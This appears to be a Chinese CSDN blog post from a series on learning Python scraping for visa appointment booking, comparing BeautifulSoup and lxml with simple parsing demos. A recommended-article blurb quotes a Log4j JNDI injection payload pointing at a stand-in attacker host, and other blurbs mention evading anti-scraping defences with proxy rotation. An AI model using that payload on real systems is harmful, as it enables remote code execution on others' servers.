为了visa面签预约学习python爬虫-DAY3

为了visa面签预约学习python爬虫-DAY1 当你的请求看起来不像是来自一个正常用户的浏览行为时(比如,自动化脚本、某些特定的HTTP头部、高频率的请求等),安全服务可能会阻止这些请求并显示上述的消息。- **使用Selenium**:对于复杂的、需要与JavaScript交互的网站,Selenium 能够模拟真实的浏览器环境,执行登录和预约的动作就像真正的用户一样。1. **状态管理**:Cookies是网站用来在用户的浏览器上存储信息的一种方式,它们允许网站保存和回忆关于用户的信息,比如登录状态、用户偏好设置、购物车内容等。 阅读详情
1.学习了两个用于数据解析的库

`BS4`(Beautiful Soup 4)和`lxml`的`etree`模块是两个常用于网页内容抓取和解析的Python库,它们各自拥有独特的特点和优势。

### BS4(Beautiful Soup 4)

- **简介**:Beautiful Soup是一个用于从HTML或XML文件中提取数据的Python库。它能够通过你喜欢的转换器(如`lxml`和`html5lib`)来解析这些文件,提供了一种简便的方式来对网页文档进行遍历、搜索和修改。
- **优点**:
  - **用户友好**:Beautiful Soup的API设计非常人性化,对初学者友好。
  - **灵活性**:它支持多种解析器,如`lxml`和`html.parser`,可以根据需要选择。
  - **容错性**:Beautiful Soup能够处理非常杂乱的HTML代码,并能从中提取出有用的信息。
- **用途**:主要用于网页数据抓取、数据挖掘等领域,特别适合处理不规则或者嵌套的HTML文档。

### lxml的etree模块

- **简介**:`lxml`是一个非常高性能的Python库,用于处理XML和HTML文档,其`etree`模块尤其强大,基于C语言编写。
- **优点**:
  - **性能高**:`lxml`的性能非常高,特别是在处理大型文件时,其解析速度和效率远高于Beautiful Soup。
  - **XPath和XSLT支持**:`lxml`提供了对XPath查询的原生支持,使得用户可以使用XPath来进行复杂的查询和数据抓取,还支持XSLT的转换。
  - **全面**:它提供了全面的XML支持,包括但不限于DTD验证、Xpath选择器等高级功能。
- **用途**:同样适用于网页数据抓取和处理,特别是当处理需要高性能处理或复杂XML文档时,`lxml`的`etree`模块是一个更好的选择。

### 选择依据

选择使用BS4还是lxml的`etree`,很大程度上取决于你的具体需求:
- 如果你需要处理的HTML文档非常杂乱,或者你更倾向于使用一个更加简单直观的API,那么Beautiful Soup可能是更好的选择。
- 如果你需要处理的是大型文件,或者需要利用XPath进行复杂的文档查询,那么`lxml`的`etree`模块可能更适合你。

在实际应用中,你也可以将它们结合起来使用,例如,使用`lxml`作为Beautiful Soup的解析器,结合二者的优势。

XPath(XML Path Language)是一种在XML文档中查找信息的语言。它被设计用来允许对XML文档的结构化遍历和指向特定部分,包括元素和属性的定位。XPath不仅仅限于XML,它同样适用于HTML文档,因为HTML可以被视为特殊的XML。XPath通过定义路径表达式来选择XML文档中的节点或节点集,这些路径表达式非常类似于文件系统中的路径地址。

### XPath的主要特点:

- **强大的选择功能**:XPath允许从XML文档的完整结构中选择元素、属性、文本等。
- **简洁的语法**:XPath使用简洁的路径表达式来选取XML文档中的节点或节点集。
- **多功能的查询能力**:它支持在选择节点时使用逻辑、算术运算符和函数。
- **广泛的应用**:XPath被广泛应用于XML解析、XSLT(XML样式表转换语言)转换和其他XML相关技术中。

### XPath的应用场景:

- **XML文档解析和处理**:在XML相关应用中,如XML数据处理、配置文件处理等。
- **Web数据抓取**:在使用Python进行网页数据抓取时,尤其是结合`lxml`库,XPath可以用来精确地定位和抓取网页中的数据。
- **在XSLT中定位特定数据**:在XSLT中,XPath被用来匹配和选择需要转换的XML文档的部分。

### 与CSS选择器的比较:

- **XPath**:提供了更加复杂和强大的选择功能,能够进行条件选择、轴选择等高级查询。
- **CSS选择器**:在Web开发中更为常用,语法更简单直观,适合进行简单的元素选择操作。

总的来说,XPath是一个功能强大、用途广泛的技术,尤其在需要进行精确的XML/HTML数据选择和处理时发挥重要作用。

我算是看出来了,因为bs4是直接python的库,基本上直接用python的语法调用对应的 api,而etree基于C语言编写,使用的时候调api并要传入对应的表达式。

2.两个库使用的基本步骤都差不多:环境的安装、对象实例化(可以从本地的文件加载,也可以从网络上获取的源码数据加载)、定位标签、获取文本数据、获取属性值

下面是GPT给的两个DEMO

#使用BeautifulSoup解析HTML
from bs4 import BeautifulSoup

# 假设这是我们的HTML文档
html_doc = """
<html><head><title>The Dormouse's story</title></head>
<body>
<p class="title"><b>The Dormouse's story</b></p>

<p class="story">Once upon a time there were three little sisters; and their names were
<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
and they lived at the bottom of a well.</p>
</body>
</html>
"""

# 使用BeautifulSoup解析HTML
soup = BeautifulSoup(html_doc, 'html.parser')

# 定位到第一个<a>标签
tag_a = soup.find('a')

# 获取<a>标签的文本内容
text = tag_a.text

# 获取<a>标签的href属性
href = tag_a['href']

print(f"标签文本: {text}")
print(f"href属性: {href}")
#使用lxml的etree模块解析HTML

from lxml import etree

# 假设这是我们的HTML文档
html_doc = """
<html><head><title>The Dormouse's story</title></head>
<body>
<p class="title"><b>The Dormouse's story</b></p>

<p class="story">Once upon a time there were three little sisters; and their names were
<a href="http://example.com/elsie" class="sister" id="link1">Elsie</a>,
<a href="http://example.com/lacie" class="sister" id="link2">Lacie</a> and
<a href="http://example.com/tillie" class="sister" id="link3">Tillie</a>;
and they lived at the bottom of a well.</p>
</body>
</html>
"""

# 解析HTML
tree = etree.HTML(html_doc)

# 使用XPath定位到第一个<a>标签
tag_a = tree.xpath('//a')[0]

# 获取<a>标签的文本内容
text = tag_a.text

# 获取<a>标签的href属性
href = tag_a.get('href')

print(f"标签文本: {text}")
print(f"href属性: {href}")

为了visa面签预约学习python爬虫-DAY4 感想:爬虫真的还是蛮麻烦的,首先对目标信息的有效定位就够麻烦了,还要为了应付各种反爬机制去集成各种第三方工具(验证码必不可少,有人说可以学神经网络OCR自己识别),也要集成一些换IP的工具,封IP也是常见操作了,代理IP的高效与否绝对影响着爬虫功能的效率。因为https/http协议的特性是无状态,服务器并不知道你的登录状态,但是用户不可能访问网站内每一个页面都需要登录,因此一些基本的信息如用户的登录信息等需要存储在cookie中。-透明:服务器知道该次请求使用了代理,也知道请求对应的真实ip。 阅读详情

相关推荐

从零开始学习 Go 1.25 编程

今天是你新生活的第一天,无论年龄、背景如何,改变从这一刻开始。CodeGym帮助成千上万普通人转型为程序员,从零基础到掌握Go语言,完成真实项目,甚至入职心仪岗位。Go语言简洁高效,适合服务器端开发,是云基础设施、微服务和高负载系统的首选。2026年正是入行良机,你的经验反而是优势。别犹豫,迈出第一步,你将收获技能、自信与全新人生。🚀

sinat_25548781的博客 85

为了visa面签预约学习python爬虫-DAY2

2. **换行符问题**:如果`<table>`标签跨越了多行,而正则表达式没有使用`re.DOTALL`标志,`.`字符将不匹配换行符,导致正则表达式无法匹配跨行的标签。这个示例中,`\s+`和`\s*`用于匹配一个或多个、零个或多个空白字符,使得正则表达式能更灵活地匹配HTML中的`<table>`标签,即使属性之间的空格数量不一。3. **HTML内容不完整或有误**:如果HTML内容不完整或者有语法错误,正则表达式可能也会因为无法找到一个正确闭合的`<table>`标签而失败。

stan_ko的博客 1199

从零开始学习使用 AI

欢迎踏入ClaudeCode未来世界,开启与AI协作的全新旅程。无论你是零基础新手、开发者,还是非程序员,都能通过实战项目快速掌握智能体协作技能——不再只是提问,而是指挥AI完成复杂任务。你将化身主角,在16个级别、200+实践中成长为高效创造者。真正的优势不再是会用工具,而是懂得如何让智能体为你工作。取代你的不是AI,而是会用AI的人。现在,故事从你开始👇

sinat_25548781的博客 142

python(58) pyvisa使用

仪器自动化

Python开发分享的博客 2862

第28篇 sw放样特征矩形-圆-矩形学习笔记

本例演示三轮廓放样:先画中心对齐的100×100矩形草图,再在偏移100的基准面上绘制圆,最后在另一基准面画矩形。通过依次选择三个轮廓并正确设置连接点,实现矩形→圆→矩形的平滑过渡,注意连接点位置避免扭曲。

Txwtech 40

Android Termux 安装Kali Linux 或 kali Nethunter史诗级详细教程

Termux 安装kali

风云小虾米的博客 6万+

2026.11.7 AI学习总结

110 你 14b 模型权重本身就要约 8.8GB,默认上下文(Ollama 在 16GB 卡上可能给到 4K)加上 KV Cache 就爆了。比如设成 2048,你输入了 500 个 token 的问题,那模型最多还能生成 1500 个 token 的回答。超出部分会被截断,模型就"看不见"了。4 如果 14b 跑起来后发现它"忘事",再逐步往上加,比如先试 4096。,根据注意力头的重要性动态分配缓存资源,重要的留显存,不重要的下沉。,单位是 token,表示模型这一次推理最多能同时"看到"多少内容。

qq_41181702的博客 374

向量乘法器设计

同样基于Wallace树乘法器,我们来构造向量乘法器。 在一些矩阵运算中经常用到向量的相乘运算,本例以4维向量为例子介绍向量乘法器的verilog HDL设计。 设向量a = (a1, a2, a3, a4), b = (b1, b2, b3, b4)。 则a 与 b的点乘为:a * b = a1 b1 + a2 b2 + a3 b3 + a4 b4, 即向量对应位置的值相乘,再相加...

Reborn Lee 2969

Flink 学习日志 03:自定义一个SourceFunction,完成对Redis中数据的读取

本文介绍了在Flink中自定义SourceFunction读取Redis数据的完整流程:通过Jedis客户端连接WSL2中的Redis服务,编写RedisSource实现循环读取所有Key-value并逐条输出,结合Thread.sleep()实现每秒一条的流式效果。关键步骤包括环境准备、添加Jedis依赖、配置IDEA运行时加载provided依赖,并注意生产环境中应避免使用阻塞的keys *,改用scan命令。最终实现动态读取、实时打印,验证了Flink与Redis的数据集成能力。

木木的学习笔记 421

Cadence学习之路:什么是PCB工艺的正片与负片

正片??负片??Flash焊盘的创建与使用

qq_46757048的博客 4245

AI辅助游戏开发实战:Kimi K3提升Unity开发效率与代码质量

在游戏开发领域,有限状态机(FSM)是构建角色AI行为逻辑的核心设计模式,它通过定义明确的状态和转换条件,使游戏实体能够智能地响应环境变化。其原理在于将复杂的行为分解为离散的状态节点,并通过事件驱动状态切换,从而实现清晰、可维护的AI架构。这项技术的价值在于显著提升了游戏角色的行为真实感和开发效率,被广泛应用于NPC行为控制、角色动画管理、UI流程等场景。随着AI编程助手的兴起,开发者现在可以借助如Kimi K3这类工具,通过自然语言指令快速生成和优化FSM等复杂系统的代码框架,将更多精力投入到核心玩法与性

weixin_30430677的博客 407

邓明 Agent 系统面试-意图识别学习笔记

不要只是做意图识别而不做测评,就好像要评估 RAG 准确性,在接口服务要测试响应时延,超时控制等等,这里也要关注意图识别准确率,如果面试官认为项目指标太高是在吹牛,关键就是回答因为 Agent 解决的是特定领域的意图识别,识别场景单一,另外就是因为用户输入相对简单。意图识别影响 prompt/spec 的加载,意图识别影响上下文组织,意图识别影响工具选择,意图识别影响 prompt 建议,意图识别得到的意图不是让模型随机生成而是候选类别里去做选择。2.意图识别的原因,以及意图识别得到的是什么?

m0_57222081的博客 215

NPP/VIIRS夜间灯光数据下载和介绍

夜间灯光数据作为当前比较火热的研究数据,与其他遥感数据不同,它是通过DN值来体现所携带的信息,最常用的使用月度数据。 该数据数据量大,下载慢,相对来说较难快速获取。 一、数据下载 美国国家海洋大气管理局NOAA下属的NCEI国家环境信息中心Earth Observation Group。 二、月度数据文件介绍 从网站上下载的逐月的灯光数据文件是压缩包的形式,每月的数据包括vcm, vcmsl两个版本的压缩包,其中vcm版本排除了受杂散光影响的数据,vcmsl版本为辐射值经过杂散光校正程序后的数

端木宛白的博客家园 7376

Day36 XD安全学习笔记--JavaE应用&第三方组件&Log4i 日志&Fastson序列化&JNDI 注入

本节课剖析Log4j与Fastjson组件漏洞原理。Log4j通过JNDI注入实现远程代码执行,攻击者构造${jndi:ldap://attacker.com/Exploit}触发Lookup机制,诱导目标向恶意LDAP服务器请求并加载远程类,最终执行命令(如弹出计算器)。需配置trustURLCodebase=true绕过安全限制。Fastjson则利用@type反序列化特性,当用户输入可控的{"@type":"com.xiaodi.Run"}时,自动加载并实例化恶

一支蜉蝣的博客 186

C++ 核电站

问题描述 一个核电站有n个放核物质的坑,排列在一条直线上。如果连续m个坑中放入核物质就会发生爆炸,所以某些坑中不能放核物质。 本题的任务:对于给定的n和m,求不发生爆炸的放置核物质的方案总数。 输入格式 第一行两个正整数n和m,之间用一个空格隔开。2≤n≤50,2≤m≤5。 输出格式 一行一个正整数,表示方案总数。 输入样例 4 3 输出样例 13 数据规模与约定 2≤n≤50,2≤m≤5 CODE #include<bits/stdc++.h> using namespace

HybridCOW_HORSE的博客 1803

(十五)CX20106A 中超声波测量的应用

(十五)CX20106A 中超声波测量的应用

m0_52555663的博客 4511

Java 多态 学习笔记

多态是面向对象编程的重要特性,指同一操作作用于不同对象时产生不同行为。其核心在于“父类引用指向子类对象”,结合方法重写实现运行时动态绑定。多态使代码更灵活、可扩展,如用Person p = new Student();统一处理各类人员注册,无需修改调用逻辑。但多态无法直接调用子类特有方法,需通过instanceof判断并强制转换。编译时看左边(类型),运行时看右边(实际对象),实现解耦与维护便利。

AA_AA114514的博客 359

Vue - 超强实现网页禁止浏览器缩放功能,浏览器缩放时保持网页不变形、元素不会被挤压等,屏蔽浏览器鼠标滚轮缩放页面(提供详细示例代码,一次引入整个网站无人可以搞乱你的页面布局及样式)

vue,nuxt,禁止浏览器缩放,如何用户缩放浏览器导致页面变形,网页缩放后页面变形了怎么办,怎么解决网站被缩放后元素乱套错乱,vue怎么禁止网页不被缩放,vue如何禁止浏览器缩放,vue缩放网页变形影响布局怎么办,vue电脑分辨率及缩放导致页面变形的问题,前端页面解决浏览器或者系统被放大和缩小导致的显示问题,Vue中页面自适应缩放,如何防止Vue页面缩放时变形/调整大小,Vue项目中,防止页面被缩放和放大,vue等比例缩放网页,网页缩放后界面变形咋办,禁止页面缩放,vue禁止浏览器改变窗口大小,Vue项目

🏆 前端领域优质创作者 1万+

天线模块布局走线学习

天线通常与射频收发芯片、匹配网络、滤波器以及射频连接器等共同组成完整的无线通信链路;在进行原理图设计时,器件封装应当尽量小,倾向于0402、0201等,可以减小由封装带来的寄生参数影响。

qq_59757948的博客 161

Statistics and Machine Learning Toolbox

Statistics and Machine Learning Toolbox(带书签),MATLAB统计学习工具

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

CMake学习

CMake如何编译成库?1. 为什么要有库?库就是预先写好,编译好的代码集合。存在的意义,1)避免重复造轮子和重复编译,库是,你的代码在编译时直接链接它,不需要把库的源码重新编译一遍,大大节省了编译时间。;2):编译成库让别人可以直接调用我的函数,但看不到cpp源码,看不到里面的逻辑。3):大项目可以拆分给不同的团队开发不同的库,最后拼在一起。静态库:就是在程序编译和链接阶段,把库里被用到的代码部分,像打包裹一样,直接复制粘贴到最终的可执行文件(如.exe或 Linux 下的无后缀文件)里面。

m0_56487684的博客 196

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

将物理先验嵌入机器人学习:从经典力学到 VLA 与 WAM

本文综述了将物理先验嵌入机器人学习的三条路径:数据与表示、模型架构、训练损失,强调其位置决定约束效力。通过夹取软物体案例,阐明运动学、动力学、接触与材料特性在任务中的分层作用。指出物理先验非万能,需匹配实际条件;强约束可加速学习,但误用会引入偏差。提出“有效刚度”等概念,强调主动探测与参数辨识的重要性,并警示仅靠单一方法无法保障安全执行,需结合在线验证与控制闭环。

lovely_yoshino的博客 861

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

Linux网络学习【深入理解多路转接epoll】

本文围绕 Linux 多路转接 epoll 展开,以“设计动机—核心机制—触发模式—代码实践”为主线,对比 select、poll 的监听管理与就绪检查方式,解析关注集合、就绪列表及核心接口,重点讲解水平触发与边缘触发的行为差异,以及边缘触发配合非阻塞读写的处理要点。结合多连接服务器实践,梳理事件注册、连接接收、部分收发、可写事件按需监听及断开清理流程,厘清就绪通知与操作完成的区别,分析常见错误与性能影响因素,帮助读者建立从事件循环到连接管理的完整认识,为高并发服务器与事件驱动框架开发打下基础。

承于所学,探技术之渊;以代码求政,寻成长之道。 1万+

正则表达式学习笔记 02:基础语法

正则表达式是描述字符匹配规则的迷你语言,由普通字符和元字符组成。普通字符直接匹配自身,而元字符如.、*、+、^、$等具有特殊含义,用于控制匹配模式。常见功能包括任意字符匹配、字符类、预定义类(如\d)、量词、位置锚点、分组与捕获、环视断言及反向引用。需注意,若要匹配元字符本身,必须使用转义符\。例如,\.可匹配字面点号。

菜鸟的专栏 182

[LangChain] 学习笔记(08):工具调用底层闭环与第三方搜索(Tavily)实战

大模型通过工具调用实现外部能力扩展:模型返回tool_calls,开发者本地执行后将结果以ToolMessage形式追加至对话历史,再由模型生成最终回答。关键闭环在于状态追加,否则会陷入死循环。借助LangChain生态如TavilySearch,可轻松接入联网搜索,突破知识时效限制。注意避免invalid_tool_call_id错误,确保消息历史完整;网络超时需检查代理或环境配置。简单问题模型自主解答属正常行为。

一名在 Linux 与 C/C++ 世界里打怪升级的开发者。持续输出系统编程、网络编程、数据结构与算法的高质量学习笔记与实战总结 348

ES6:Iterator与Generator函数学习及Generator函数和async实现异步编程理解

几个概念:可迭代对象是指具有迭代器接口的对象: 实现类数组使用 for of 循环 对象无法使用数组的迭代器。 generator 函数类似遍历器函数,返回一个迭代器对象; 该对象调用 方法时,会把 后面的表达式作为值 ,并执行当前指针与下一步指针之间的程序。 generator 实现迭代器函数 后面跟的内容为 得到的 值。流程:循环 会调用 generator 函数,返回一个 iterator 对象, 方法由 generator 内部的 决定。 Gene

2403_87566238的博客 220

【学习笔记】51单片机 按键控制LED流水灯模式&定时器时钟

在下面去给他写中断子函数,他会在main中去到Timer0这个子函数当中去,再接着跳转回来。再TMOD上,这个是不可位寻址的,必须八位同时复制,如果同时使用定时器1和定时器0,先配置定时器1再去配置定时器0会把 之前前定时器1的更新掉,我们去给他让他只去执行一部分。现在我们要去做中断了,改正之后的是这样,但其实是还有缺陷在的。寄存器是连接软硬件的媒介,我们现在写一个关于这个的代码。这样得到的和我们预期的一样。TMOD的寄存模式,M1和M0是来决定工作模式的。我们要看的是关于以下的寄存器。

2601_96469072的博客 220
上一篇: 为了visa面签预约学习python爬虫-DAY2
下一篇: 为了visa面签预约学习python爬虫-DAY4
28岁青春痘老男孩
博客等级 码龄5年 241粉丝 45原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值